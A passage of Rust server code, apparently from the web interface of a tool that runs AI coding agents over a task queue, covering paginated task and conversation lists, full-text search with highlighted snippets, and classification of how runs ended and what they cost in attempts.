5380            ui.queue.root()
5381        };
5382        let mut ids = crate::queue::record_ids(root, "json")?;
5383        ids.sort_unstable_by(|a, b| b.cmp(a));
5384        let initial_end = if talks {
5385            let open = classify(ui, &ids);
5386            // Stable partition: ID order is only the existing membership order,
5387            // never a substitute for the UI's creation-time ordering.
5388            ids.sort_by_key(|id| !open.contains(id));
5389            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5390        } else {
5391            STORE_PAGE_SIZE.min(ids.len())
5392        };
5393        let ids = Arc::new(ids);
5394        walks = ui
5395            .monitor
5396            .list_walks
5397            .lock()
5398            .unwrap_or_else(PoisonError::into_inner);
5399        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5400        let mut token = crate::rng::entropy();
5401        while walks.iter().any(|walk| walk.token == token) {
5402            token = crate::rng::entropy();
5403        }
5404        // Four clients can enumerate both stores and overlap a refresh. Bound
5405        // retained membership snapshots; an evicted cursor explicitly retries.
5406        if walks.len() >= 16 {
5407            walks.remove(0);
5408        }
5409        walks.push(ListWalk {
5410            token,
5411            talks,
5412            opened: std::time::Instant::now(),
5413            ids: ids.clone(),
5414            initial_end,
5415        });
5416        (token, ids, 0, initial_end)
5417    };
5418    if offset > ids.len() {
5419        return Err(ApiError::bad_request("Invalid list cursor"));
5420    }
5421    let end = if offset == 0 {
5422        initial_end
5423    } else {
5424        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5425    };
5426    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5427    Ok((ids[offset..end].to_vec(), next))
5428}
5429
5430async fn queue_page(
5431    State(ui): State<Arc<Ui>>,
5432    Query(q): Query<PageQuery>,
5433) -> ApiResult<Json<StorePage<TaskView>>> {
5434    blocking(move || {
5435        let (ids, next) = page_ids(&ui, false, q)?;
5436        let tasks: Vec<_> = ids
5437            .into_iter()
5438            .filter_map(|id| ui.queue.get(&id).ok())
5439            .collect();
5440        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5441        let rows = tasks
5442            .into_iter()
5443            .map(|task| TaskView::with_inventory(task, &inv))
5444            .collect();
5445        Ok(Json(StorePage { rows, next }))
5446    })
5447    .await
5448}
5449
5450/// Fixed-size wire projection. Agent timestamps stay in the server index so
5451/// exact unread counts do not require sending an ever-growing turn list.
5452#[derive(Debug, Clone, Serialize)]
5453struct TalkListView {
5454    title: Option<talk::ChatTitle>,
5455    id: String,
5456    repo: PathBuf,
5457    agent: String,
5458    status: talk::TalkStatus,
5459    turns: Vec<TalkListTurn>,
5460    turn_count: usize,
5461    unread_count: usize,
5462    context: talk::ContextUsage,
5463    #[serde(skip)]
5464    agent_times: Vec<Timestamp>,
5465    thinking: bool,
5466    created_at: Timestamp,
5467    updated_at: Timestamp,
5468}
5469
5470#[derive(Debug, Clone, Serialize)]
5471struct TalkListTurn {
5472    who: talk::Who,
5473    at: Timestamp,
5474    body: String,
5475}
5476
5477fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5478    let reads: HashMap<String, Timestamp> = headers
5479        .get("x-talk-reads")
5480        .and_then(|v| v.to_str().ok())
5481        .and_then(|v| serde_json::from_str(v).ok())
5482        .unwrap_or_default();
5483    let mut index = ui
5484        .monitor
5485        .talk_index
5486        .lock()
5487        .unwrap_or_else(PoisonError::into_inner);
5488    // Bound memory independently of the number of conversations ever opened.
5489    if index.len() > 1000 {
5490        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5491        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5492        if index.len() > 1000 {
5493            index.retain(|id, _| keep.contains(id.as_str()));
5494        }
5495    }
5496    ids.into_iter()
5497        .filter_map(|id| {
5498            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5499            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5500                let talk = ui.talks.get(&id).ok()?;
5501                #[cfg(test)]
5502                ui.monitor
5503                    .talk_parses
5504                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5505                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5506                let last = talk.turns.len().checked_sub(1);
5507                let turns = talk
5508                    .turns
5509                    .iter()
5510                    .enumerate()
5511                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5512                    .map(|(_, t)| TalkListTurn {
5513                        who: t.who,
5514                        at: t.at,
5515                        body: t
5516                            .body
5517                            .lines()
5518                            .next()
5519                            .unwrap_or_default()
5520                            .chars()
5521                            .take(240)
5522                            .collect(),
5523                    })
5524                    .collect();
5525                let row = TalkListView {
5526                    title: talk.title.clone(),
5527                    agent_times: talk
5528                        .turns
5529                        .iter()
5530                        .filter(|t| t.who == talk::Who::Agent)
5531                        .map(|t| t.at)
5532                        .collect(),
5533                    turn_count: talk.turns.len(),
5534                    unread_count: 0,
5535                    context: talk::context_usage(&talk, None),
5536                    turns,
5537                    thinking: false,
5538                    id: talk.id,
5539                    repo: talk.repo,
5540                    agent: talk.agent,
5541                    status: talk.status,
5542                    created_at: talk.created_at,
5543                    updated_at: talk.updated_at,
5544                };
5545                index.insert(id.clone(), (identity, row));
5546            }
5547            let row = &index.get(&id)?.1;
5548            let mut row = TalkListView {
5549                title: row.title.clone(),
5550                unread_count: row
5551                    .agent_times
5552                    .iter()
5553                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5554                    .count(),
5555                agent_times: Vec::new(),
5556                id: row.id.clone(),
5557                repo: row.repo.clone(),
5558                agent: row.agent.clone(),
5559                status: row.status,
5560                context: row.context.clone(),
5561                turns: row.turns.clone(),
5562                turn_count: row.turn_count,
5563                thinking: false,
5564                created_at: row.created_at,
5565                updated_at: row.updated_at,
5566            };
5567            row.thinking = ui.is_thinking(&id);
5568            Some(row)
5569        })
5570        .collect()
5571}
5572
5573async fn talks_page(
5574    State(ui): State<Arc<Ui>>,
5575    Query(q): Query<PageQuery>,
5576    headers: header::HeaderMap,
5577) -> ApiResult<Json<StorePage<TalkListView>>> {
5578    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5579        let (ids, next) = page_ids(&ui, true, q)?;
5580        Ok(Json(StorePage {
5581            rows: talk_rows(&ui, ids, &headers),
5582            next,
5583        }))
5584    })
5585    .await
5586}
5587
5588async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5589    blocking(move || {
5590        let tasks = ui.indexed_tasks()?;
5591        Ok(Json(TaskCountsView::from(
5592            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5593        )))
5594    })
5595    .await
5596}
5597
5598/// Most hits one search returns. The rest are counted in `total`.
5599const SEARCH_MAX_HITS: usize = 100;
5600/// Longest query, in characters, and most terms it is split into.
5601const SEARCH_MAX_QUERY: usize = 200;
5602const SEARCH_MAX_TERMS: usize = 8;
5603/// Characters of context kept before the first hit, and after it.
5604const SNIPPET_BEFORE: usize = 50;
5605const SNIPPET_AFTER: usize = 110;
5606
5607/// `?scope=runs|tasks&q=...`
5608#[derive(Debug, Deserialize)]
5609struct SearchQuery {
5610    #[serde(default)]
5611    scope: String,
5612    #[serde(default)]
5613    q: String,
5614}
5615
5616/// One piece of a snippet. `hit` pieces are what matched; the client renders
5617/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5618#[derive(Debug, Serialize, PartialEq, Eq)]
5619struct SnippetPart {
5620    text: String,
5621    hit: bool,
5622}
5623
5624/// Position plus transcript evidence, without changing the saved chat schema.
5625#[derive(Debug, Serialize)]
5626struct ChatSearchTarget {
5627    turn: usize,
5628    message: usize,
5629    at: String,
5630    text: String,
5631}
5632
5633fn chat_text_key(body: &str) -> String {
5634    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5635        (hash ^ u32::from(c)).wrapping_mul(16777619)
5636    });
5637    format!("{hash:08x}:{}", body.chars().count())
5638}
5639
5640#[derive(Debug, Serialize)]
5641struct SearchHit {
5642    #[serde(skip_serializing_if = "Option::is_none")]
5643    target: Option<ChatSearchTarget>,
5644    id: String,
5645    /// The name of the field the snippet was cut from.
5646    field: String,
5647    snippet: Vec<SnippetPart>,
5648    /// The run's list row, so the page can apply its state / section / repo
5649    /// filters to a hit outside the loaded window. Absent for tasks and for a
5650    /// run record the list view cannot read.
5651    #[serde(skip_serializing_if = "Option::is_none")]
5652    run: Option<RunSummary>,
5653}
5654
5655#[derive(Debug, Serialize)]
5656struct SearchView {
5657    scope: String,
5658    q: String,
5659    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5660    hits: Vec<SearchHit>,
5661    /// Every match, hits beyond the cap included.
5662    total: usize,
5663    truncated: bool,
5664    /// Runs whose `run.json` could not be parsed at all. They were not
5665    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5666    unreadable: usize,
5667}
5668
5669/// The text leaves of a JSON document, with the name of the field each sits
5670/// under. Keys and numbers are skipped: they are structure, not prose.
5671fn text_leaves<'a>(
5672    value: &'a serde_json::Value,
5673    field: &'a str,
5674    out: &mut Vec<(&'a str, &'a str)>,
5675) {
5676    match value {
5677        serde_json::Value::String(s) => out.push((field, s)),
5678        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5679        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5680        _ => {}
5681    }
5682}
5683
5684/// Lower-case one character without changing how many there are, so indices
5685/// in the lowered text are indices in the original.
5686fn fold_char(c: char) -> char {
5687    c.to_lowercase().next().unwrap_or(c)
5688}
5689
5690/// Split a query into its lower-cased terms.
5691fn search_terms(q: &str) -> Vec<String> {
5692    let mut terms: Vec<String> = Vec::new();
5693    for t in q.split_whitespace() {
5694        let t = t.to_lowercase();
5695        if !terms.contains(&t) {
5696            terms.push(t);
5697        }
5698    }
5699    terms
5700}
5701
5702/// Match `terms` (all of them, anywhere in the document) against the leaves
5703/// and cut a snippet around the first hit. `None` when a term is missing.
5704fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5705    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5706    let mut first: Option<usize> = None;
5707    for term in terms {
5708        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5709        first = Some(first.map_or(at, |f| f.min(at)));
5710    }
5711    // The leaf holding the earliest hit of any term is where the snippet is cut.
5712    let (field, text) = leaves[first?];
5713    Some(SearchHit {
5714        id: String::new(),
5715        target: None,
5716        field: field.to_owned(),
5717        snippet: snippet_of(text, terms),
5718        run: None,
5719    })
5720}
5721
5722/// A window of `text` around the first occurrence of any term, whitespace
5723/// collapsed, with every term occurrence inside the window marked.
5724fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5725    let chars: Vec<char> = text.chars().collect();
5726    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5727    let needles: Vec<Vec<char>> = terms
5728        .iter()
5729        .map(|t| t.chars().map(fold_char).collect())
5730        .collect();
5731    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5732        let mut best: Option<(usize, usize)> = None;
5733        for n in needles.iter().filter(|n| !n.is_empty()) {
5734            // `to` bounds where a match may start; it may run past `to` (the
5735            // caller clips what it shows). A term longer than the field cannot
5736            // occur in it (it may live in another leaf of the document).
5737            if n.len() > chars.len() || to == 0 {
5738                continue;
5739            }
5740            let last = (to - 1).min(chars.len() - n.len());
5741            if from > last {
5742                continue;
5743            }
5744            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5745                && best.is_none_or(|(b, _)| i < b)
5746            {
5747                best = Some((i, i + n.len()));
5748            }
5749        }
5750        best
5751    };
5752    let Some((start, _)) = find(0, chars.len()) else {
5753        // Matched only through a case mapping that changes length: show the head.
5754        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5755        return vec![SnippetPart {
5756            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5757            hit: false,
5758        }];
5759    };
5760    let lo = start.saturating_sub(SNIPPET_BEFORE);
5761    let hi = (start + SNIPPET_AFTER).min(chars.len());
5762    let mut parts: Vec<SnippetPart> = Vec::new();
5763    let mut push = |s: &[char], hit: bool| {
5764        if s.is_empty() {
5765            return;
5766        }
5767        let text: String = s.iter().collect();
5768        match parts.last_mut() {
5769            Some(p) if p.hit == hit => p.text.push_str(&text),
5770            _ => parts.push(SnippetPart { text, hit }),
5771        }
5772    };
5773    if lo > 0 {
5774        push(&['\u{2026}'], false);
5775    }
5776    let mut at = lo;
5777    while at < hi {
5778        match find(at, hi) {
5779            Some((s, e)) => {
5780                push(&chars[at..s], false);
5781                // A match running past the window is shown up to its edge.
5782                let shown = e.min(hi);
5783                push(&chars[s..shown], true);
5784                at = shown;
5785            }
5786            None => {
5787                push(&chars[at..hi], false);
5788                at = hi;
5789            }
5790        }
5791    }
5792    if hi < chars.len() {
5793        push(&['\u{2026}'], false);
5794    }
5795    // Collapse whitespace (newlines in an instruction) without disturbing the
5796    // hit boundaries.
5797    let mut prev_space = false;
5798    for p in &mut parts {
5799        let mut out = String::with_capacity(p.text.len());
5800        for c in p.text.chars() {
5801            if c.is_whitespace() {
5802                if !prev_space {
5803                    out.push(' ');
5804                }
5805                prev_space = true;
5806            } else {
5807                out.push(c);
5808                prev_space = false;
5809            }
5810        }
5811        p.text = out;
5812    }
5813    parts.retain(|p| !p.text.is_empty());
5814    parts
5815}
5816
5817/// The search over `docs` (id, document), newest first, capped.
5818fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5819where
5820    I: IntoIterator<Item = (String, serde_json::Value)>,
5821{
5822    for (id, doc) in docs {
5823        let mut leaves = Vec::new();
5824        // The id is text an operator types too, and it is a map key on disk,
5825        // not a leaf.
5826        leaves.push(("id", id.as_str()));
5827        text_leaves(&doc, "", &mut leaves);
5828        if let Some(mut hit) = search_document(terms, &leaves) {
5829            view.total += 1;
5830            if view.hits.len() < SEARCH_MAX_HITS {
5831                hit.id = id;
5832                view.hits.push(hit);
5833            }
5834        }
5835    }
5836    view.truncated = view.total > view.hits.len();
5837}
5838
5839/// What a conversation is searched by: its list title and each turn's text,
5840/// under their sender labels so the snippet says who spoke. Nothing else
5841/// (session ids, repo paths, usage, drafts) is part of the document.
5842///
5843/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5844fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5845    let opener = talk
5846        .title
5847        .as_ref()
5848        .filter(|t| !t.text.is_empty())
5849        .map(|t| t.text.as_str())
5850        .or_else(|| {
5851            talk.turns
5852                .iter()
5853                .find(|t| t.who == talk::Who::Operator)
5854                .map(|t| t.body.as_str())
5855        })
5856        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5857        .unwrap_or("");
5858    let title: String = if opener.chars().count() > 96 {
5859        opener.chars().take(95).chain(['\u{2026}']).collect()
5860    } else {
5861        opener.to_owned()
5862    };
5863    let turns: Vec<serde_json::Value> = talk
5864        .turns
5865        .iter()
5866        .flat_map(|t| {
5867            let label = |message| match talk::sender(t, message) {
5868                talk::Sender::External => "external",
5869                _ => match t.who {
5870                    talk::Who::Operator => "operator",
5871                    talk::Who::Agent => "agent",
5872                },
5873            };
5874            if t.messages.is_empty() {
5875                vec![serde_json::json!({ label(None): t.body })]
5876            } else {
5877                t.messages
5878                    .iter()
5879                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
5880                    .collect()
5881            }
5882        })
5883        .collect();
5884    serde_json::json!({ "title": title, "turns": turns })
5885}
5886
5887fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
5888    let doc = talk_search_doc(talk);
5889    let mut leaves = vec![("id", talk.id.as_str())];
5890    text_leaves(&doc, "", &mut leaves);
5891    let mut hit = search_document(terms, &leaves)?;
5892    // Use exactly the leaf that supplied the snippet, including title/id hits.
5893    let leaf = leaves
5894        .iter()
5895        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
5896    let messages: Vec<_> = talk
5897        .turns
5898        .iter()
5899        .enumerate()
5900        .flat_map(|(i, turn)| {
5901            let bodies: Vec<&str> = if turn.messages.is_empty() {
5902                vec![turn.body.as_str()]
5903            } else {
5904                turn.messages.iter().map(|m| m.body.as_str()).collect()
5905            };
5906            bodies
5907                .into_iter()
5908                .enumerate()
5909                .map(move |(j, body)| (i, j, turn, body))
5910        })
5911        .collect();
5912    let target = leaf
5913        .checked_sub(2)
5914        .and_then(|i| messages.get(i))
5915        .or_else(|| {
5916            // An unsaved title is the opener's first nonempty line, so its
5917            // snippet still identifies a transcript message. Saved titles do not.
5918            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
5919                return None;
5920            }
5921            let (index, opener) = talk
5922                .turns
5923                .iter()
5924                .enumerate()
5925                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
5926            let line = opener
5927                .body
5928                .lines()
5929                .map(str::trim)
5930                .find(|line| !line.is_empty())?;
5931            messages.iter().find(|(i, _, _, body)| {
5932                *i == index
5933                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
5934            })
5935        });
5936    if let Some((i, j, turn, body)) = target {
5937        hit.target = Some(ChatSearchTarget {
5938            turn: *i,
5939            message: *j,
5940            at: turn.at.to_string(),
5941            text: chat_text_key(body),
5942        });
5943    }
5944    hit.id = talk.id.clone();
5945    Some(hit)
5946}
5947
5948/// Read-only full-text search over every run's `run.json`, every task or every
5949/// conversation (title and transcript).
5950///
5951/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5952/// record from an older schema still searches; only a file that is not JSON
5953/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5954async fn search_get(
5955    State(ui): State<Arc<Ui>>,
5956    Query(q): Query<SearchQuery>,
5957) -> ApiResult<Json<SearchView>> {
5958    let query = q.q.trim().to_owned();
5959    if query.is_empty() {
5960        return Err(ApiError::bad_request("q must not be empty"));
5961    }
5962    if query.chars().count() > SEARCH_MAX_QUERY {
5963        return Err(ApiError::bad_request(format!(
5964            "q is longer than {SEARCH_MAX_QUERY} characters"
5965        )));
5966    }
5967    let terms = search_terms(&query);
5968    if terms.len() > SEARCH_MAX_TERMS {
5969        return Err(ApiError::bad_request(format!(
5970            "q has more than {SEARCH_MAX_TERMS} terms"
5971        )));
5972    }
5973    let scope = q.scope;
5974    if scope != "runs" && scope != "tasks" && scope != "chats" {
5975        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5976    }
5977    blocking(move || {
5978        let mut view = SearchView {
5979            scope: scope.clone(),
5980            q: query,
5981            hits: Vec::new(),
5982            total: 0,
5983            truncated: false,
5984            unreadable: 0,
5985        };
5986        if scope == "runs" {
5987            let mut unreadable = 0;
5988            // One run.json is read, matched and dropped at a time; nothing
5989            // holds the whole history. The scan runs to the end even past the
5990            // hit cap so `total` and `unreadable` stay exact.
5991            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5992                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5993                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5994                    Some(v) => Some((id, v)),
5995                    None => {
5996                        unreadable += 1;
5997                        None
5998                    }
5999                }
6000            });
6001            search_docs(&terms, docs, &mut view);
6002            view.unreadable = unreadable;
6003            // Only the capped hits get a row: the filters need a run's state,
6004            // and reading every match would be the whole history again.
6005            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6006            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6007            for hit in &mut view.hits {
6008                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6009                    hit.run = summarize(
6010                        [state],
6011                        &open_runs,
6012                        &claimed,
6013                        &superseded,
6014                        |p| probe.borrow_mut().status(p),
6015                        |p| probe.borrow_mut().started_at(p),
6016                    )
6017                    .pop();
6018                }
6019            }
6020        } else if scope == "chats" {
6021            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6022            view.unreadable = unreadable;
6023            for talk in &talks {
6024                if let Some(hit) = search_chat(&terms, talk) {
6025                    view.total += 1;
6026                    if view.hits.len() < SEARCH_MAX_HITS {
6027                        view.hits.push(hit);
6028                    }
6029                }
6030            }
6031            view.truncated = view.total > view.hits.len();
6032        } else {
6033            let docs = ui.queue.list().into_iter().filter_map(|t| {
6034                let mut v = serde_json::to_value(&t).ok()?;
6035                // `source` serialises as a tagged object; the label is what
6036                // the operator reads ("human", "chat@a1b2").
6037                if let Some(o) = v.as_object_mut() {
6038                    o.insert("filed_by".to_owned(), t.source.label().into());
6039                }
6040                Some((t.id, v))
6041            });
6042            search_docs(&terms, docs, &mut view);
6043        }
6044        Ok(Json(view))
6045    })
6046    .await
6047}
6048
6049/// One attempt in a task's history, as the task page lists it.
6050#[derive(Debug, Serialize)]
6051struct TaskRunView {
6052    activity: Option<String>,
6053    /// 1-based position in [`Task::runs`].
6054    n: usize,
6055    id: String,
6056    short: String,
6057    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6058    kind: &'static str,
6059    /// The run's own status string; `None` when its record cannot be read.
6060    status: Option<&'static str>,
6061    /// Whether this build could read the run's record. Counted, never hidden.
6062    readable: bool,
6063    /// A verdict from a collapsed panel is provisional, never a decision.
6064    provisional: bool,
6065    /// What kind of attempt this was, in one line.
6066    description: String,
6067    /// How it ended and why the task moved on (or what it is doing now).
6068    outcome: String,
6069    created_at: Option<Timestamp>,
6070    pr: Option<String>,
6071    /// Why this pass ended, classified once; the flowchart is built from it.
6072    exit: RunExit,
6073    /// What the pass did to the task's attempt budget.
6074    attempt: AttemptCost,
6075    /// Edge wording for leaving this entry; names the recorded cause when
6076    /// there is one.
6077    exit_label: String,
6078    /// The position of a later entry for the same run: this entry is an
6079    /// earlier pass of it.
6080    later_pass: Option<usize>,
6081    /// Which pass over the run this entry is (1-based) and how many entries
6082    /// the task lists for the run. Counted from the list, so known even for
6083    /// a legacy record.
6084    pass_n: usize,
6085    passes_of_run: usize,
6086    /// What the run recorded about this pass; `None` for a record from before
6087    /// passes were kept, whose cause stays unknown.
6088    pass: Option<PassView>,
6089    /// The branch a review-only run reopened.
6090    branch: Option<String>,
6091    /// The badge word when it differs from `status` (`stale` / `superseded`);
6092    /// filled by the task route, which can see liveness and later attempts.
6093    badge: Option<String>,
6094}
6095
6096/// One recorded pass over a run, for the wire.
6097#[derive(Debug, Clone, PartialEq, Serialize)]
6098struct PassView {
6099    index: usize,
6100    resumed: bool,
6101    started_at: Timestamp,
6102    ended_at: Option<Timestamp>,
6103    /// `open`, `parked` or `unrecorded`.
6104    end: &'static str,
6105    cause: Option<crate::run::ParkCause>,
6106    /// One line: why it stopped, or that nobody recorded why.
6107    label: String,
6108    /// What the task recorded for this pass; `None` when it was not settled
6109    /// (or settled by a build that kept no record).
6110    cost: Option<crate::queue::PassCost>,
6111}
6112
6113impl PassView {
6114    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6115        use crate::run::PassEnd;
6116        let (end, cause, label) = match &p.end {
6117            None => ("open", None, "still open".to_owned()),
6118            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6119            Some(PassEnd::Unrecorded) => (
6120                "unrecorded",
6121                None,
6122                "stopped without recording why (a crash, a kill or a restart; not known)"
6123                    .to_owned(),
6124            ),
6125        };
6126        Self {
6127            index: p.index,
6128            resumed: p.resumed,
6129            started_at: p.started_at,
6130            ended_at: p.ended_at,
6131            end,
6132            cause,
6133            label,
6134            cost: settled.map(|t| t.cost),
6135        }
6136    }
6137}
6138
6139/// How one pass over a run ended, as far as the task's life is concerned.
6140#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6141#[serde(rename_all = "snake_case")]
6142enum RunExit {
6143    Unreadable,
6144    /// An earlier pass of a run id that appears again: it stopped short.
6145    Interrupted,
6146    Parked,
6147    MachineBlocked,
6148    QuotaStall,
6149    /// Stalled on a resumed pass with quota losses on record: they may be
6150    /// left over from an earlier pass, so whether this one was refunded is
6151    /// not knowable.
6152    ResumedQuotaStall,
6153    Merged,
6154    Ready,
6155    Superseded,
6156    /// The change was already on the base under other commits: the task
6157    /// finished without this run landing anything.
6158    AlreadyInBase,
6159    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6160    Stalled,
6161    /// Blocked / no-op with a pull request left open: held for a person.
6162    HeldWithPr,
6163    NoopHeld,
6164    /// Blocked or failed: the attempt is spent and the task retries or holds.
6165    Spent,
6166    InProgress,
6167}
6168
6169#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6170#[serde(rename_all = "snake_case")]
6171enum AttemptCost {
6172    Spent,
6173    Refunded,
6174    None,
6175    /// Cannot be told from the records that remain.
6176    Unknown,
6177}
6178
6179impl RunExit {
6180    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6181        let Some(s) = s else {
6182            return Self::Unreadable;
6183        };
6184        let status = s.status;
6185        if resumed_later {
6186            Self::Interrupted
6187        } else if s.parked {
6188            Self::Parked
6189        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6190            Self::MachineBlocked
6191        } else if !status.done() {
6192            Self::InProgress
6193        } else if matches!(status, RunStatus::Merged) {
6194            Self::Merged
6195        } else if matches!(status, RunStatus::Ready) {
6196            Self::Ready
6197        } else if matches!(status, RunStatus::Superseded) {
6198            Self::Superseded
6199        } else if matches!(status, RunStatus::AlreadyInBase) {
6200            Self::AlreadyInBase
6201        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6202            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6203        {
6204            if resumed {
6205                Self::ResumedQuotaStall
6206            } else {
6207                Self::QuotaStall
6208            }
6209        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6210            Self::HeldWithPr
6211        } else if matches!(status, RunStatus::VerifiedNoop) {
6212            Self::NoopHeld
6213        } else if matches!(status, RunStatus::Stalled) {
6214            Self::Stalled
6215        } else {
6216            Self::Spent
6217        }
6218    }
6219
6220    fn cost(self) -> AttemptCost {
6221        match self {
6222            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6223            Self::Merged
6224            | Self::Ready
6225            | Self::Stalled
6226            | Self::HeldWithPr
6227            | Self::NoopHeld
6228            | Self::Spent => AttemptCost::Spent,
6229            Self::InProgress => AttemptCost::None,
6230            Self::AlreadyInBase => AttemptCost::Refunded,
6231            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6232                AttemptCost::Unknown
6233            }
6234        }
6235    }
6236
6237    /// Short edge wording for leaving a run this way.
6238    fn edge_label(self, status: Option<&str>) -> String {
6239        match self {
6240            Self::Unreadable => "record unreadable".to_owned(),
6241            Self::Interrupted => "interrupted before the run finished".to_owned(),
6242            Self::Parked => "parked, attempt refunded".to_owned(),
6243            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6244            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6245            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6246            Self::Merged => "merged".to_owned(),
6247            Self::Ready => "ready, not merged".to_owned(),
6248            Self::Superseded => "superseded by a later attempt".to_owned(),
6249            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6250            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6251            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6252            Self::NoopHeld => "verified no-op".to_owned(),
6253            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6254            Self::InProgress => "in progress".to_owned(),
6255        }
6256    }
6257
6258    /// Does a task in `end` follow from a run that ended this way? When not,
6259    /// somebody closed or held the task by hand.
6260    fn explains(self, end: TaskStatus) -> bool {
6261        match self {
6262            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6263            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6264            Self::Unreadable | Self::Superseded | Self::Ready => true,
6265            _ => end != TaskStatus::Done,
6266        }
6267    }
6268}
6269
6270/// `GET /api/queue/{id}` - one task with every attempt it went through.
6271#[derive(Debug, Serialize)]
6272struct TaskDetailView {
6273    #[serde(flatten)]
6274    task: TaskView,
6275    /// Task override, or the default daemon budget when inherited.
6276    /// A separate loop's command-line limit is not visible from here.
6277    max_attempts: usize,
6278    history: Vec<TaskRunView>,
6279    /// Entries in `history`: passes over runs, not distinct runs and not
6280    /// attempts consumed (`task.attempts`).
6281    passes_total: usize,
6282    /// Distinct runs those passes belong to.
6283    runs_distinct: usize,
6284    flow: FlowView,
6285    /// Set for a follow-up task; see [`followup_origin`].
6286    followup_origin: Option<FollowUpOrigin>,
6287    /// How many entries of `history` could not be read.
6288    runs_unreadable: usize,
6289    /// Why the attempt count can be lower than the number of runs.
6290    attempts_note: &'static str,
6291}
6292
6293const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6294and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6295on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6296the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6297
6298/// The branch a review-only run reopened, read off the instruction
6299/// `Runner::open_review` writes.
6300fn review_branch_of(instruction: &str) -> Option<&str> {
6301    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6302    rest.split('`').next().filter(|b| !b.is_empty())
6303}
6304
6305/// Where an entry sits in a task's run list.
6306#[derive(Default)]
6307struct RunSlot<'a> {
6308    /// 1-based position.
6309    n: usize,
6310    /// The same run id appeared earlier: this pass resumed it.
6311    resumed: bool,
6312    /// Position of a later pass over the same run id, if any.
6313    resumed_later: Option<usize>,
